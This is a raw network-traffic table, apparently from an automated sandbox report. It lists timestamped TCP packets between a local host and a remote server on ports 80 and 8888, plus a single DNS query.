Jan 11, 2025 06:24:41.473942995 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473978043 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474010944 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474025965 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474061012 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474091053 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474096060 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474132061 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474136114 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474168062 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474176884 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474204063 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474237919 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474247932 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474273920 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474308014 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474314928 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474342108 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474375963 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474400043 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474411011 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474446058 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474457979 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474481106 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474515915 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474550962 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474551916 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474586010 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474611044 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474621058 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474656105 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474698067 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.474709034 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474755049 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.474817038 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.478411913 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.481177092 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481214046 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481250048 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481292009 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.481292009 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.481307030 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481363058 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481415987 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481442928 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.481472015 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481523991 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481558084 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481585026 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.481604099 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.481621027 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481652975 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481688023 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481719971 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481754065 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481765032 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.481765032 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.481789112 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481818914 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481853008 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481889009 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481892109 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.481892109 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.481923103 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481956959 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.481992960 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.482031107 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.482065916 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.482065916 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.482065916 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.482131958 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.485672951 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.509057999 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509090900 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509136915 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.509144068 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509182930 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509218931 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509253979 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509265900 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.509309053 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509319067 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.509371996 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509407043 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509443045 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509457111 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.509463072 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509504080 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.509536982 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509572029 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509586096 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.509605885 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.509819984 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.514785051 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.520669937 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.520706892 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.520761013 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.520802021 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.520817041 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.520872116 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.520878077 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.520927906 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.520962954 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.520997047 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.521032095 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.521032095 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.521033049 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.521068096 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.521104097 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.521137953 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.521153927 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.521188021 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.521223068 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.521223068 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.521258116 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.521271944 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.524425030 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.531235933 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.531271935 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.531308889 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.531333923 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.531359911 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.531383991 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.531418085 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.531451941 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.531471968 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.531539917 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.531562090 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.533999920 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.558936119 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.558954954 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.558970928 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559000015 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559010029 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559017897 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559035063 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559058905 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559077024 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559091091 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559111118 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559111118 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559113979 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559132099 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559149027 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559149027 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559149027 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559165001 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559174061 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559190035 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559211016 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559273005 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559287071 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559303999 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559322119 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559330940 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559331894 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559340000 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559353113 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559357882 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559386969 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559401035 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559401035 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559402943 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559421062 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559436083 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559469938 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559479952 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559489965 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559509039 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559525967 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559546947 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559578896 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559580088 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559652090 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559679031 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559695005 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559710026 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559726954 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559736013 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559762955 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559777021 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559791088 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559791088 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559794903 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559802055 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559845924 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559861898 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559878111 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559895039 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559904099 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559904099 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559904099 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.559912920 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.559950113 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.560014009 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560031891 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560046911 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560062885 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560079098 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560080051 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.560094118 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560148954 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560164928 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560180902 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.560180902 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560180902 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.560213089 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.560225964 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560241938 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560242891 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.560259104 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560276985 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560380936 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560398102 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560415983 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560431957 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560444117 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.560444117 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.560444117 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.560448885 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560466051 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560482025 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.560534000 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.560534000 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.563085079 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.567986012 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568017960 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568054914 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.568073988 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568108082 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568140984 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.568141937 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568176985 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568224907 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568238974 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.568259954 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568378925 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568420887 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.568422079 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.568429947 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568469048 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568483114 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568519115 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.568538904 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568589926 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568609953 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.568625927 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568660975 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568686008 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.568710089 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568743944 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568751097 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.568778038 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568813086 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568841934 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.568849087 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568886042 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.568914890 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.596359968 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.596396923 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.596414089 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.596426964 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.596431971 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.596451044 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.596465111 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.596468925 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.596489906 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.596499920 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.596528053 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.607603073 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.607656956 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.607692003 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.607716084 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.607744932 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.607779980 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.607815981 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.607862949 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.607862949 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.607871056 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.607907057 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.607942104 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.607974052 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.607995033 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.608011007 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.608022928 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.608050108 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.608064890 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.608097076 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.608110905 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.608136892 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.608144999 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.618141890 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.618172884 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.618215084 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.618226051 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.618279934 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.618313074 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.618346930 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.618346930 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.618346930 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.618381977 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.618417978 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.618418932 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.618449926 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.618541956 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.626040936 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.645798922 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.645848989 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.645853996 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.645869970 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.645885944 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.645915985 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.645926952 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.645944118 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.645967960 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.645977020 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.645993948 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.646008968 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.646013021 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.646024942 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.646048069 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.646065950 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.646081924 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.646138906 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.646138906 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.689763069 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.875209093 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:44.224211931 CET	49730	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:44.231637001 CET	8888	49730	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:44.231746912 CET	49730	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:44.232542992 CET	49730	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:44.239892960 CET	8888	49730	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:45.011591911 CET	8888	49730	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:45.119503975 CET	49730	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:46.882074118 CET	49730	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:24:52.144985914 CET	61902	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:24:52.144985914 CET	192.168.2.7	1.1.1.1	0x8dd1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

